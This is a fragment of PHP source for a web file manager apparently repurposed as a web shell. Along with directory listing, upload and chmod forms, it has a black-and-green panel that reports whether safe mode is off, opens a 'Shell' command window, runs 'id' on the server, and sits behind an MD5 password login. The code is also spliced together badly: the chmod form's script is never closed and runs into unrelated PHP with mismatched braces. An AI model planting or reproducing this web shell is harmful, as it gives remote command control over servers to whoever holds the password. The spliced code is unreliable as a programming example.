                case &quot;4D&quot;: $entry_list = array_csort ($entry_list,&quot;type&quot;,SORT_STRING,SORT_ASC,&quot;g&quot;,SORT_STRING,SORT_DESC,&quot;u&quot;,SORT_STRING,SORT_DESC); $or4=&quot;4A&quot;; break;
                case &quot;5A&quot;: $entry_list = array_csort ($entry_list,&quot;type&quot;,SORT_STRING,SORT_ASC,&quot;size&quot;,SORT_NUMERIC,SORT_ASC); $or5=&quot;5D&quot;; break;
                case &quot;5D&quot;: $entry_list = array_csort ($entry_list,&quot;type&quot;,SORT_STRING,SORT_ASC,&quot;size&quot;,SORT_NUMERIC,SORT_DESC); $or5=&quot;5A&quot;; break;
                case &quot;6A&quot;: $entry_list = array_csort ($entry_list,&quot;type&quot;,SORT_STRING,SORT_ASC,&quot;date&quot;,SORT_STRING,SORT_ASC,&quot;time&quot;,SORT_STRING,SORT_ASC,&quot;name&quot;,SORT_STRING,SORT_ASC); $or6=&quot;6D&quot;; break;
                case &quot;6D&quot;: $entry_list = array_csort ($entry_list,&quot;type&quot;,SORT_STRING,SORT_ASC,&quot;date&quot;,SORT_STRING,SORT_DESC,&quot;time&quot;,SORT_STRING,SORT_DESC,&quot;name&quot;,SORT_STRING,SORT_ASC); $or6=&quot;6A&quot;; break;
                case &quot;7A&quot;: $entry_list = array_csort ($entry_list,&quot;type&quot;,SORT_STRING,SORT_ASC,&quot;ext&quot;,SORT_STRING,SORT_ASC,&quot;name&quot;,SORT_STRING,SORT_ASC); $or7=&quot;7D&quot;; break;
                case &quot;7D&quot;: $entry_list = array_csort ($entry_list,&quot;type&quot;,SORT_STRING,SORT_ASC,&quot;ext&quot;,SORT_STRING,SORT_DESC,&quot;name&quot;,SORT_STRING,SORT_ASC); $or7=&quot;7A&quot;; break;
            }
        }
        $out .= &quot;
        &lt;script language=\&quot;Javascript\&quot; type=\&quot;text/javascript\&quot;&gt;
        &lt;!--
        function getCookieVal (offset) {
            var endstr = document.cookie.indexOf (';', offset);
            if (endstr == -1) endstr = document.cookie.length;
            return unescape(document.cookie.substring(offset, endstr));
        }
        function getCookie (name) {
            var arg = name + '=';
            var alen = arg.length;
            var clen = document.cookie.length;
            var i = 0;
            while (i &lt; clen) {
                var j = i + alen;
                if (document.cookie.substring(i, j) == arg) return getCookieVal (j);
                i = document.cookie.indexOf(' ', i) + 1;
                if (i == 0) break;
            }
            return null;
        }
        function setCookie (name, value) {
            var argv = SetCookie.arguments;
            var argc = SetCookie.arguments.length;
            var expires = (argc &gt; 2) ? argv[2] : null;
            var path = (argc &gt; 3) ? argv[3] : null;
            var domain = (argc &gt; 4) ? argv[4] : null;
            var secure = (argc &gt; 5) ? argv[5] : false;
            document.cookie = name + '=' + escape (value) +
            ((expires == null) ? '' : ('; expires=' + expires.toGMTString())) +
            ((path == null) ? '' : ('; path=' + path)) +
            ((domain == null) ? '' : ('; domain=' + domain)) +
            ((secure == true) ? '; secure' : '');
        }
        function delCookie (name) {
            var exp = new Date();
            exp.setTime (exp.getTime() - 1);
            var cval = GetCookie (name);
            document.cookie = name + '=' + cval + '; expires=' + exp.toGMTString();
        }
        function go(arg) {
            document.location.href='&quot;.$path_info[&quot;basename&quot;].&quot;?frame=3&amp;dir_atual=$dir_atual'+arg+'/';
        }
        function resolveIDs() {
            document.location.href='&quot;.$path_info[&quot;basename&quot;].&quot;?frame=3&amp;set_resolveIDs=1&amp;dir_atual=$dir_atual';
        }
        var entry_list = new Array();
        // Custom object constructor
        function entry(name, type, size, selected){
            this.name = name;
            this.type = type;
            this.size = size;
            this.selected = false;
        }
        // Declare entry_list for selection procedures&quot;;
        foreach ($entry_list as $i=&gt;$data){
            $out .= &quot;\nentry_list['entry$i'] = new entry('&quot;.$data[&quot;name&quot;].&quot;', '&quot;.$data[&quot;type&quot;].&quot;', &quot;.$data[&quot;size&quot;].&quot;, false);&quot;;
        }
        $out .= &quot;
        // Select/Unselect Rows OnClick/OnMouseOver
        var lastRows = new Array(null,null);
        function selectEntry(Row, Action){
            var MarkColor = '#&quot;.$fm_color['Mark'].&quot;';
            var Cells = Row.getElementsByTagName('td');
            if (multipleSelection){
                // Avoid repeated onmouseover events from same Row ( cell transition )
                if (Row != lastRows[0]){
                    if (Action == 'over') {
                        if (entry_list[Row.id].selected){
                            if (entry_list[Row.id].type == 'dir') DefaultColor = '#&quot;.$fm_color['Dir'].&quot;';
                            else DefaultColor = '#&quot;.$fm_color['File'].&quot;';
                            if (unselect(entry_list[Row.id])) {
                                for (var c=0; c &lt; &quot;.(integer)$highlight_cols.&quot;; c++) {
                                    if (c == 0 &amp;&amp; entry_list[Row.id].type=='file' &amp;&amp; !entry_list[Row.id].selected) Cells[c].style.backgroundColor = '#&quot;.$fm_color['FileFirstCell'].&quot;';
                                    else Cells[c].style.backgroundColor = DefaultColor;
                                }
                            }
                            // Change the last Row when you change the movement orientation
                            if (lastRows[0] != null &amp;&amp; lastRows[1] != null){
                                var LastRowID = lastRows[0].id;
                                var LastRowDefaultColor;
                                if (entry_list[LastRowID].type == 'dir') LastRowDefaultColor = '#&quot;.$fm_color['Dir'].&quot;';
                                else LastRowDefaultColor = '#&quot;.$fm_color['File'].&quot;';
                                if (Row.id == lastRows[1].id){
                                    var LastRowCells = lastRows[0].getElementsByTagName('td');
                                    if (unselect(entry_list[LastRowID])) {
                                        for (var c=0; c &lt; &quot;.(integer)$highlight_cols.&quot;; c++) {
                                            if (c == 0 &amp;&amp; entry_list[LastRowID].type=='file' &amp;&amp; !entry_list[LastRowID].selected) LastRowCells[c].style.backgroundColor = '#&quot;.$fm_color['FileFirstCell'].&quot;';
                                            else LastRowCells[c].style.backgroundColor = LastRowDefaultColor;
                                        }
                                    }
                                }
                            }
                        } else {
                            if (select(entry_list[Row.id])){
                                for (var c=0; c &lt; &quot;.(integer)$highlight_cols.&quot;; c++) {
                                    if (c == 0 &amp;&amp; entry_list[Row.id].type=='file' &amp;&amp; !entry_list[Row.id].selected) Cells[c].style.backgroundColor = '#&quot;.$fm_color['FileFirstCell'].&quot;';
                                    else Cells[c].style.backgroundColor = MarkColor;
                                }
                            }
                            // Change the last Row when you change the movement orientation
                            if (lastRows[0] != null &amp;&amp; lastRows[1] != null){
                                var LastRowID = lastRows[0].id;
                                if (Row.id == lastRows[1].id){
                                    var LastRowCells = lastRows[0].getElementsByTagName('td');
                                    if (select(entry_list[LastRowID])) {
                                        for (var c=0; c &lt; &quot;.(integer)$highlight_cols.&quot;; c++) {
                                            if (c == 0 &amp;&amp; entry_list[LastRowID].type=='file' &amp;&amp; !entry_list[LastRowID].selected) LastRowCells[c].style.backgroundColor = '#&quot;.$fm_color['FileFirstCell'].&quot;';
                                            else LastRowCells[c].style.backgroundColor = MarkColor;
                                        }
                                    }
                                }
                            }
                        }
                        lastRows[1] = lastRows[0];
                        lastRows[0] = Row;
                    }
                }
            } else {
                if (Action == 'click') {
                    var newColor = null;
                    if (entry_list[Row.id].selected){
                        var DefaultColor;
                        if (entry_list[Row.id].type == 'dir') DefaultColor = '#&quot;.$fm_color['Dir'].&quot;';
                        else DefaultColor = '#&quot;.$fm_color['File'].&quot;';
                        if (unselect(entry_list[Row.id])) newColor = DefaultColor;
                    } else {
                        if (select(entry_list[Row.id])) newColor = MarkColor;
                    }
                    if (newColor) {
                        lastRows[0] = lastRows[1] = Row;
                        for (var c=0; c &lt; &quot;.(integer)$highlight_cols.&quot;; c++) {
                            if (c == 0 &amp;&amp; entry_list[Row.id].type=='file' &amp;&amp; !entry_list[Row.id].selected) Cells[c].style.backgroundColor = '#&quot;.$fm_color['FileFirstCell'].&quot;';
                            else Cells[c].style.backgroundColor = newColor;
                        }
                    }
                }
            }
            return true;
        }
        // Disable text selection and bind multiple selection flag
        var multipleSelection = false;
        if (is.ie) {
            document.onselectstart=new Function('return false');
            document.onmousedown=switch_flag_on;
            document.onmouseup=switch_flag_off;
            // Event mouseup is not generated over scrollbar.. curiously, mousedown is.. go figure.
            window.onscroll=new Function('multipleSelection=false');
        } else {
            if (document.layers) window.captureEvents(Event.MOUSEDOWN);
            if (document.layers) window.captureEvents(Event.MOUSEUP);
            window.onmousedown=switch_flag_on;
            window.onmouseup=switch_flag_off;
        }
        // Using same function and a ternary operator couses bug on double click
        function switch_flag_on(e) {
            lastRows[0] = lastRows[1] = null;
            if (is.ie){
                multipleSelection = (event.button == 1);
            } else {
                multipleSelection = (e.which == 1);
            }
            return false;
        }
        function switch_flag_off(e) {
            if (is.ie){
                multipleSelection = (event.button != 1);
            } else {
                multipleSelection = (e.which != 1);
            }
            return false;
        }
        var total_dirs_selected = 0;
        var total_files_selected = 0;
        function unselect(Entry){
            if (!Entry.selected) return false;
            Entry.selected = false;
            sel_totalsize -= Entry.size;
            if (Entry.type == 'dir') total_dirs_selected--;
            else total_files_selected--;
            update_sel_status();
            return true;
        }
        function select(Entry){
            if(Entry.selected) return false;
            Entry.selected = true;
            sel_totalsize += Entry.size;
            if(Entry.type == 'dir') total_dirs_selected++;
            else total_files_selected++;
            update_sel_status();
            return true;
        }
        function is_anything_selected(){
            var selected_dir_list = new Array();
            var selected_file_list = new Array();
            for(var x=0;x&lt;&quot;.(integer)count($entry_list).&quot;;x++){
                if(entry_list['entry'+x].selected){
                    if(entry_list['entry'+x].type == 'dir') selected_dir_list.push(entry_list['entry'+x].name);
                    else selected_file_list.push(entry_list['entry'+x].name);
                }
            }
            document.form_action.selected_dir_list.value = selected_dir_list.join('&lt;|*|&gt;');
            document.form_action.selected_file_list.value = selected_file_list.join('&lt;|*|&gt;');
            return (total_dirs_selected&gt;0 || total_files_selected&gt;0);
        }
        function formatsize (arg) {
            var resul = '';
            if (arg&gt;0){
                var j = 0;
                var ext = new Array(' bytes',' Kb',' Mb',' Gb',' Tb');
                while (arg &gt;= Math.pow(1024,j)) ++j;
                resul = (Math.round(arg/Math.pow(1024,j-1)*100)/100) + ext[j-1];
            } else resul = '0 Mb';
            return resul;
        }
        var sel_totalsize = 0;
        function update_sel_status(){
            var t = total_dirs_selected+' &quot;.et('Dir_s').&quot; &quot;.et('And').&quot; '+total_files_selected+' &quot;.et('File_s').&quot; &quot;.et('Selected_s').&quot; = '+formatsize(sel_totalsize);
            document.getElementById(\&quot;sel_status\&quot;).innerHTML = t;
        }
        // Select all/none/inverse
        function selectANI(Butt){
            var MarkColor = '#&quot;.$fm_color['Mark'].&quot;';
            for(var x=0;x&lt;&quot;. (integer)count($entry_list).&quot;;x++){
                if (entry_list['entry'+x].type == 'dir'){
                    var DefaultColor = '#&quot;.$fm_color['Dir'].&quot;';
                } else {
                    var DefaultColor = '#&quot;.$fm_color['File'].&quot;';
                }
                var Row = document.getElementById('entry'+x);
                var Cells = Row.getElementsByTagName('td');
                var newColor = null;
                switch (Butt.value){
                    case '&quot;.et('SelAll').&quot;':
                        if (select(entry_list[Row.id])) newColor = MarkColor;
                    break;
                    case '&quot;.et('SelNone').&quot;':
                        if (unselect(entry_list[Row.id])) newColor = DefaultColor;
                    break;
                    case '&quot;.et('SelInverse').&quot;':
                        if (entry_list[Row.id].selected){
                            if (unselect(entry_list[Row.id])) newColor = DefaultColor;
                        } else {
                            if (select(entry_list[Row.id])) newColor = MarkColor;
                        }
                    break;
                }
                if (newColor) {
                    for (var c=0; c &lt; &quot;.(integer)$highlight_cols.&quot;; c++) {
                        if (entry_list[Row.id].type=='file' &amp;&amp; c==0 &amp;&amp; !entry_list[Row.id].selected) Cells[c].style.backgroundColor = '#&quot;. $fm_color['FileFirstCell'].&quot;';
                        else Cells[c].style.backgroundColor = newColor;
                    }
                }
            }
            if (Butt.value == '&quot;.et('SelAll').&quot;'){
                Butt.value = '&quot;.et('SelNone').&quot;';
            } else if (Butt.value == '&quot;.et('SelNone').&quot;'){
                Butt.value = '&quot;.et('SelAll').&quot;';
            }
            return true;
        }
        function download(arg){
                parent.frame1.location.href='&quot;.$path_info[&quot;basename&quot;].&quot;?action=3&amp;dir_atual=$dir_atual&amp;filename='+escape(arg);
        }

}
            $out .= $file_out;
            $out .= &quot;
                &lt;tr&gt;
                &lt;td bgcolor=\&quot;#000000\&quot; colspan=20&gt;&lt;nobr&gt;
                      &lt;input type=\&quot;button\&quot; style=\&quot;width:60\&quot; onclick=\&quot;selectANI(this)\&quot; value=\&quot;&quot;.et('SelAll').&quot;\&quot;&gt;
                      &lt;input type=\&quot;button\&quot; style=\&quot;width:60\&quot; onclick=\&quot;selectANI(this)\&quot; value=\&quot;&quot;.et('SelInverse').&quot;\&quot;&gt;
                      &lt;input type=\&quot;button\&quot; style=\&quot;width:60\&quot; onclick=\&quot;test(4)\&quot; value=\&quot;&quot;.et('Rem').&quot;\&quot;&gt;
                      &lt;input type=\&quot;button\&quot; style=\&quot;width:60\&quot; onclick=\&quot;sel_dir(5)\&quot; value=\&quot;&quot;.et('Copy').&quot;\&quot;&gt;
                      &lt;input type=\&quot;button\&quot; style=\&quot;width:60\&quot; onclick=\&quot;sel_dir(6)\&quot; value=\&quot;&quot;.et('Move').&quot;\&quot;&gt;
                      &lt;input type=\&quot;button\&quot; style=\&quot;width:100\&quot; onclick=\&quot;test_prompt(71)\&quot; value=\&quot;&quot;.et('Compress').&quot;\&quot;&gt;&quot;;
            if ($islinux) $out .= &quot;
                      &lt;input type=\&quot;button\&quot; style=\&quot;width:100\&quot; onclick=\&quot;resolveIDs()\&quot; value=\&quot;&quot;.et('ResolveIDs').&quot;\&quot;&gt;&quot;;
            $out .= &quot;
                      &lt;input type=\&quot;button\&quot; style=\&quot;width:100\&quot; onclick=\&quot;chmod(9)\&quot; value=\&quot;&quot;.et('Perms').&quot;\&quot;&gt;&quot;;
            $out .= &quot;
                &lt;/nobr&gt;&lt;/td&gt;
                &lt;/tr&gt;&quot;;
            $out .= &quot;
            &lt;/form&gt;&quot;;
            $out .= &quot;
                &lt;tr&gt;&lt;td bgcolor=\&quot;#000000\&quot; colspan=20&gt;$dir_count &quot;.et('Dir_s').&quot; &quot;.et('And').&quot; $file_count &quot;.et('File_s').&quot; = &quot;.formatsize($total_size).&quot;&lt;/td&gt;&lt;/tr&gt;&quot;;
            if ($quota_mb) {
                $out .= &quot;
                &lt;tr&gt;&lt;td bgcolor=\&quot;#000000\&quot; colspan=20&gt;&quot;.et('Partition').&quot;: &quot;.formatsize(($quota_mb*1024*1024)).&quot; &quot;.et('Total').&quot; - &quot;.formatsize(($quota_mb*1024*1024)-total_size($fm_root_atual)).&quot; &quot;.et('Free').&quot;&lt;/td&gt;&lt;/tr&gt;&quot;;
            } else {
                $out .= &quot;
                &lt;tr&gt;&lt;td bgcolor=\&quot;#000000\&quot; colspan=20&gt;&quot;.et('Partition').&quot;: &quot;.formatsize(disk_total_space($dir_atual)).&quot; &quot;.et('Total').&quot; - &quot;.formatsize(disk_free_space($fm_root_atual)).&quot; &quot;.et('Free').&quot;&lt;/td&gt;&lt;/tr&gt;&quot;;
            }
            $tf = getmicrotime();
            $tt = ($tf - $ti);
            $out .= &quot;
                &lt;tr&gt;&lt;td bgcolor=\&quot;#000000\&quot; colspan=20&gt;&quot;.et('RenderTime').&quot;: &quot;.substr($tt,0,strrpos($tt,&quot;.&quot;)+5).&quot; &quot;.et('Seconds').&quot;&lt;/td&gt;&lt;/tr&gt;&quot;;
            $out .= &quot;
            &lt;script language=\&quot;Javascript\&quot; type=\&quot;text/javascript\&quot;&gt;
            &lt;!--
                update_sel_status();
            //--&gt;
            &lt;/script&gt;&quot;;
        } else {
            $out .= &quot;
            &lt;tr&gt;
            &lt;td bgcolor=\&quot;#000000\&quot; width=\&quot;1%\&quot;&gt;$uplink&lt;td bgcolor=\&quot;#000000\&quot; colspan=20&gt;&lt;nobr&gt;&lt;a href=\&quot;&quot;.$path_info[&quot;basename&quot;].&quot;?frame=3&amp;dir_atual=$dir_atual\&quot;&gt;$dir_atual&lt;/a&gt;&lt;/nobr&gt;
            &lt;tr&gt;&lt;td bgcolor=\&quot;#000000\&quot; colspan=20&gt;&quot;.et('EmptyDir').&quot;.&lt;/tr&gt;&quot;;
        }
    } else $out .= &quot;&lt;tr&gt;&lt;td&gt;&lt;font color=red&gt;&quot;.et('IOError').&quot;.&lt;br&gt;$dir_atual&lt;/font&gt;&quot;;
    $out .= &quot;&lt;/table&gt;&quot;;
    echo $out;
}
function upload_form(){
    global $_FILES,$dir_atual,$dir_dest,$fechar,$quota_mb,$path_info;
    $num_uploads = 5;
    html_header();
    echo &quot;&lt;body marginwidth=\&quot;0\&quot; marginheight=\&quot;0\&quot;&gt;&quot;;
    if (count($_FILES)==0){
        echo &quot;
        &lt;table bordercolor=ffffff  height=\&quot;100%\&quot; border=0 cellspacing=0 cellpadding=2 align=center&gt;
        &lt;form name=\&quot;upload_form\&quot; action=\&quot;&quot;.$path_info[&quot;basename&quot;].&quot;\&quot; method=\&quot;post\&quot; ENCTYPE=\&quot;multipart/form-data\&quot;&gt;
        &lt;input type=hidden name=dir_dest value=\&quot;$dir_atual\&quot;&gt;
        &lt;input type=hidden name=action value=10&gt;
        &lt;tr&gt;&lt;th colspan=2&gt;&quot;.et('Upload').&quot;&lt;/th&gt;&lt;/tr&gt;
        &lt;tr&gt;&lt;td align=right&gt;&lt;b&gt;&quot;.et('Destination').&quot;:&lt;td&gt;&lt;b&gt;&lt;nobr&gt;$dir_atual&lt;/nobr&gt;&quot;;
        for ($x=0;$x&lt;$num_uploads;$x++){
            echo &quot;&lt;tr&gt;&lt;td width=1 align=right&gt;&lt;b&gt;&quot;.et('File').&quot;:&lt;td&gt;&lt;nobr&gt;&lt;input type=\&quot;file\&quot; name=\&quot;file$x\&quot;&gt;&lt;/nobr&gt;&quot;;
            $test_js .= &quot;(document.upload_form.file$x.value.length&gt;0)||&quot;;
        }
        echo &quot;
        &lt;input type=button value=\&quot;&quot;.et('Send').&quot;\&quot; onclick=\&quot;test_upload_form()\&quot;&gt;&lt;/nobr&gt;
        &lt;tr&gt;&lt;td&gt; &lt;td&gt;&lt;input type=checkbox name=fechar value=\&quot;1\&quot;&gt; &lt;a href=\&quot;JavaScript:troca();\&quot;&gt;&quot;.et('AutoClose').&quot;&lt;/a&gt;
        &lt;tr&gt;&lt;td colspan=2&gt; &lt;/td&gt;&lt;/tr&gt;
        &lt;/form&gt;
        &lt;/table&gt;
        &lt;script language=\&quot;Javascript\&quot; type=\&quot;text/javascript\&quot;&gt;
        &lt;!--
            function troca(){
                if(document.upload_form.fechar.checked){document.upload_form.fechar.checked=false;}else{document.upload_form.fechar.checked=true;}
            }
            foi = false;
            function test_upload_form(){
                if(&quot;.substr($test_js,0,strlen($test_js)-2).&quot;){
                    if (foi) alert('&quot;.et('SendingForm').&quot;...');
                    else {
                        foi = true;
                        document.upload_form.submit();
                    }
                } else alert('&quot;.et('NoFileSel').&quot;.');
            }
            window.moveTo((window.screen.width-400)/2,((window.screen.height-200)/2)-20);
        //--&gt;
        &lt;/script&gt;&quot;;
    } else {
        $out = &quot;&lt;tr&gt;&lt;th colspan=2&gt;&quot;.et('UploadEnd').&quot;&lt;/th&gt;&lt;/tr&gt;
                &lt;tr&gt;&lt;th colspan=2&gt;&lt;nobr&gt;&quot;.et('Destination').&quot;: $dir_dest&lt;/nobr&gt;&quot;;
        for ($x=0;$x&lt;$num_uploads;$x++){
            $temp_file = $_FILES[&quot;file&quot;.$x][&quot;tmp_name&quot;];
            $filename = $_FILES[&quot;file&quot;.$x][&quot;name&quot;];
            if (strlen($filename)) $resul = save_upload($temp_file,$filename,$dir_dest);
            else $resul = 7;
            switch($resul){
                case 1:
                $out .= &quot;&lt;tr&gt;&lt;td&gt;&lt;b&gt;&quot;.strzero($x+1,3).&quot;.&lt;font color=green&gt;&lt;b&gt; &quot;.et('FileSent').&quot;:&lt;/font&gt;&lt;td&gt;&quot;.$filename.&quot;&lt;/td&gt;&lt;/tr&gt;\n&quot;;
                break;
                case 2:
                $out .= &quot;&lt;tr&gt;&lt;td colspan=2&gt;&lt;font color=red&gt;&lt;b&gt;&quot;.et('IOError').&quot;&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;\n&quot;;
                $x = $upload_num;
                break;
                case 3:
                $out .= &quot;&lt;tr&gt;&lt;td colspan=2&gt;&lt;font color=red&gt;&lt;b&gt;&quot;.et('SpaceLimReached').&quot; ($quota_mb Mb)&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;\n&quot;;
                $x = $upload_num;
                break;
                case 4:
                $out .= &quot;&lt;tr&gt;&lt;td&gt;&lt;b&gt;&quot;.strzero($x+1,3).&quot;.&lt;font color=red&gt;&lt;b&gt; &quot;.et('InvExt').&quot;:&lt;/font&gt;&lt;td&gt;&quot;.$filename.&quot;&lt;/td&gt;&lt;/tr&gt;\n&quot;;
                break;
                case 5:
                $out .= &quot;&lt;tr&gt;&lt;td&gt;&lt;b&gt;&quot;.strzero($x+1,3).&quot;.&lt;font color=red&gt;&lt;b&gt; &quot;.et('FileNoOverw').&quot;&lt;/font&gt;&lt;td&gt;&quot;.$filename.&quot;&lt;/td&gt;&lt;/tr&gt;\n&quot;;
                break;
                case 6:
                $out .= &quot;&lt;tr&gt;&lt;td&gt;&lt;b&gt;&quot;.strzero($x+1,3).&quot;.&lt;font color=green&gt;&lt;b&gt; &quot;.et('FileOverw').&quot;:&lt;/font&gt;&lt;td&gt;&quot;.$filename.&quot;&lt;/td&gt;&lt;/tr&gt;\n&quot;;
                break;
                case 7:
                $out .= &quot;&lt;tr&gt;&lt;td colspan=2&gt;&lt;b&gt;&quot;.strzero($x+1,3).&quot;.&lt;font color=red&gt;&lt;b&gt; &quot;.et('FileIgnored').&quot;&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;\n&quot;;
            }
        }
        if ($fechar) {
            echo &quot;
            &lt;script language=\&quot;Javascript\&quot; type=\&quot;text/javascript\&quot;&gt;
            &lt;!--
                window.close();
            //--&gt;
            &lt;/script&gt;
            &quot;;
        } else {
            echo &quot;
            &lt;table bordercolor=ffffff  height=\&quot;100%\&quot; border=0 cellspacing=0 cellpadding=2 align=center&gt;
            $out
            &lt;tr&gt;&lt;td colspan=2&gt; &lt;/td&gt;&lt;/tr&gt;
            &lt;/table&gt;
            &lt;script language=\&quot;Javascript\&quot; type=\&quot;text/javascript\&quot;&gt;
            &lt;!--
                window.focus();
            //--&gt;
            &lt;/script&gt;
            &quot;;
        }
    }
    echo &quot;&lt;/body&gt;\n&lt;/html&gt;&quot;;
}
function chmod_form(){
    $aux = &quot;
    &lt;script language=\&quot;Javascript\&quot; type=\&quot;text/javascript\&quot;&gt;
    &lt;!--
    function octalchange()
    {
        var val = document.chmod_form.t_total.value;
        var stickybin = parseInt(val.charAt(0)).toString(2);
        var ownerbin = parseInt(val.charAt(1)).toString(2);
        while (ownerbin.length&lt;3) { ownerbin=\&quot;0\&quot;+ownerbin; };
        var groupbin = parseInt(val.charAt(2)).toString(2);
        while (groupbin.length&lt;3) { groupbin=\&quot;0\&quot;+groupbin; };
        var otherbin = parseInt(val.charAt(3)).toString(2);
        while (otherbin.length&lt;3) { otherbin=\&quot;0\&quot;+otherbin; };
        document.chmod_form.sticky.checked = parseInt(stickybin.charAt(0));
        document.chmod_form.owner4.checked = parseInt(ownerbin.charAt(0));
        document.chmod_form.owner2.checked = parseInt(ownerbin.charAt(1));
        document.chmod_form.owner1.checked = parseInt(ownerbin.charAt(2));
        document.chmod_form.group4.checked = parseInt(groupbin.charAt(0));
        document.chmod_form.group2.checked = parseInt(groupbin.charAt(1));
        document.chmod_form.group1.checked = parseInt(groupbin.charAt(2));
        document.chmod_form.other4.checked = parseInt(otherbin.charAt(0));
        document.chmod_form.other2.checked = parseInt(otherbin.charAt(1));
        document.chmod_form.other1.checked = parseInt(otherbin.charAt(2));
        calc_chmod(1);
    };

function calc_chmod(nototals)
    {
      var users = new Array(\&quot;owner\&quot;, \&quot;group\&quot;, \&quot;other\&quot;);
      var totals = new Array(\&quot;\&quot;,\&quot;\&quot;,\&quot;\&quot;);
      var syms = new Array(\&quot;\&quot;,\&quot;\&quot;,\&quot;\&quot;);

for (var i=0; i&lt;users.length; i++)
        {
            var user=users[i];
            var field4 = user + \&quot;4\&quot;;
            var field2 = user + \&quot;2\&quot;;
            var field1 = user + \&quot;1\&quot;;
            var symbolic = \&quot;sym_\&quot; + user;
            var number = 0;
            var sym_string = \&quot;\&quot;;
            var sticky = \&quot;0\&quot;;
            var sticky_sym = \&quot; \&quot;;
            if (document.chmod_form.sticky.checked){
                sticky = \&quot;1\&quot;;
                sticky_sym = \&quot;t\&quot;;
            }
            if (document.chmod_form[field4].checked == true) { number += 4; }
            if (document.chmod_form[field2].checked == true) { number += 2; }
            if (document.chmod_form[field1].checked == true) { number += 1; }

if (document.chmod_form[field4].checked == true) {
                sym_string += \&quot;r\&quot;;
            } else {
                sym_string += \&quot;-\&quot;;
            }
            if (document.chmod_form[field2].checked == true) {
                sym_string += \&quot;w\&quot;;
            } else {
                sym_string += \&quot;-\&quot;;
            }
            if (document.chmod_form[field1].checked == true) {
                sym_string += \&quot;x\&quot;;
            } else {
                sym_string += \&quot;-\&quot;;
            }

totals[i] = totals[i]+number;
            syms[i] =  syms[i]+sym_string;

};
        if (!nototals) document.chmod_form.t_total.value = sticky + totals[0] + totals[1] + totals[2];
        document.chmod_form.sym_total.value = syms[0] + syms[1] + syms[2] + sticky_sym;
    }
    function troca(){
        if(document.chmod_form.sticky.checked){document.chmod_form.sticky.checked=false;}else{document.chmod_form.sticky.checked=true;}
    }

$win = strtolower(substr(PHP_OS,0,3)) == &quot;win&quot;;
if (@ini_get(&quot;safe_mode&quot;) or strtolower(@ini_get(&quot;safe_mode&quot;)) == &quot;on&quot;)
{
 $safemode = TRUE;
 $hsafemode = &quot;&lt;font color=red&gt;ON (secure)&lt;/font&gt;&quot;;
}
else {$safemode = FALSE; $hsafemode = &quot;&lt;font color=green&gt;OFF (no secure)&lt;/font&gt;&quot;;}
	echo &quot;&lt;script language=\&quot;javascript\&quot;&gt;
	 function config(){
                var w = 600;
                var h = 400;
                window.open('&quot;.$path_info[&quot;basename&quot;].&quot;?action=2', 'win_config', 'width='+w+',height='+h+',fullscreen=no,scrollbars=yes,resizable=yes,status=no,toolbar=no,menubar=no,location=no');
        }
        function server_info(arg){
                var w = 800;
                var h = 600;
                window.open('&quot;.$path_info[&quot;basename&quot;].&quot;?action=5', 'win_serverinfo', 'width='+w+',height='+h+',fullscreen=no,scrollbars=yes,resizable=yes,status=no,toolbar=no,menubar=no,location=no');
        }
	function shell(){
                var w = 700;
                var h = 500;
                window.open('&quot;.$path_info[&quot;basename&quot;].&quot;?action=9', '', 'width='+w+',height='+h+',fullscreen=no,scrollbars=yes,resizable=yes,status=no,toolbar=no,menubar=no,location=no');
        }
                
	&lt;/script&gt;&quot;;
	echo &quot;
&lt;body bgcolor=\&quot;#000000\&quot; style=\&quot;color:006600\&quot;&gt;
&lt;input type=button onclick=\&quot;config()\&quot; value=\&quot;&quot;.et('Config').&quot;\&quot;&gt;	
&lt;input type=button onclick=\&quot;server_info()\&quot; value=\&quot;&quot;.et('ServerInfo').&quot;\&quot;&gt;

&lt;input type=button onclick=\&quot;shell()\&quot; value=\&quot;&quot;.et('Shell').&quot;\&quot;&gt;
&lt;/body&gt;&quot;;
echo &quot;&lt;br/&gt;&lt;b&gt;Software:&lt;/b&gt;&quot;;
echo $DISP_SERVER_SOFTWARE;
echo &quot;&lt;br/&gt;&lt;b&gt;System:&lt;/b&gt;&quot;;
echo wordwrap(php_uname(),90,&quot;&lt;br&gt;&quot;,1);
echo &quot;&lt;br/&gt;&lt;b&gt;User:&lt;/b&gt;&quot;;
if (!$win) {echo wordwrap(myshellexec(&quot;id&quot;),90,&quot;&lt;br&gt;&quot;,1);} else {echo get_current_user();}
echo &quot;&lt;br/&gt;&lt;b&gt;Safe-mode:&lt;/b&gt;&quot;; 
echo $hsafemode;
}
// | Session
// +--------------------------------------------------
function logout(){
    setcookie(&quot;loggedon&quot;,0,0,&quot;/&quot;);
    form_login();
}
function login(){
    global $senha,$auth_pass,$path_info;
    if (md5(trim($senha)) == $auth_pass){
        setcookie(&quot;loggedon&quot;,$auth_pass,0,&quot;/&quot;);
        header (&quot;Location: &quot;.$path_info[&quot;basename&quot;].&quot;&quot;);
    } else header (&quot;Location: &quot;.$path_info[&quot;basename&quot;].&quot;?erro=1&quot;);
}
function form_login(){
    global $erro,$auth_pass,$path_info;
    html_header();
    echo &quot;&lt;body onLoad=\&quot;if(parent.location.href != self.location.href){ parent.location.href = self.location.href } return true;\&quot;&gt;\n&quot;;
    if ($auth_pass != md5(&quot;&quot;)){
        echo &quot;
        &lt;table bordercolor=ffffff  border=0 cellspacing=0 cellpadding=5&gt;
            &lt;form name=\&quot;login_form\&quot; action=\&quot;&quot;.$path_info[&quot;basename&quot;].&quot;\&quot; method=\&quot;post\&quot;&gt;
            &lt;tr&gt;
            &lt;td&gt;&lt;b&gt;&quot;.et('FileMan').&quot;&lt;/b&gt;
            &lt;/tr&gt;
            &lt;tr&gt;
            &lt;td align=left&gt;&lt;font size=4&gt;&quot;.et('TypePass').&quot;.&lt;/font&gt;
            &lt;/tr&gt;
            &lt;tr&gt;
            &lt;td&gt;&lt;input name=senha type=password size=10&gt; &lt;input type=submit value=\&quot;&quot;.et('Send').&quot;\&quot;&gt;
            &lt;/tr&gt;
        &quot;;
        if (strlen($erro)) echo &quot;
            &lt;tr&gt;
            &lt;td align=left&gt;&lt;font color=red size=4&gt;&quot;.et('InvPass').&quot;.&lt;/font&gt;
            &lt;/tr&gt;
        &quot;;
        echo &quot;
            &lt;/form&gt;
        &lt;/table&gt;
             &lt;script language=\&quot;Javascript\&quot; type=\&quot;text/javascript\&quot;&gt;
             &lt;!--
             document.login_form.senha.focus();
             //--&gt;
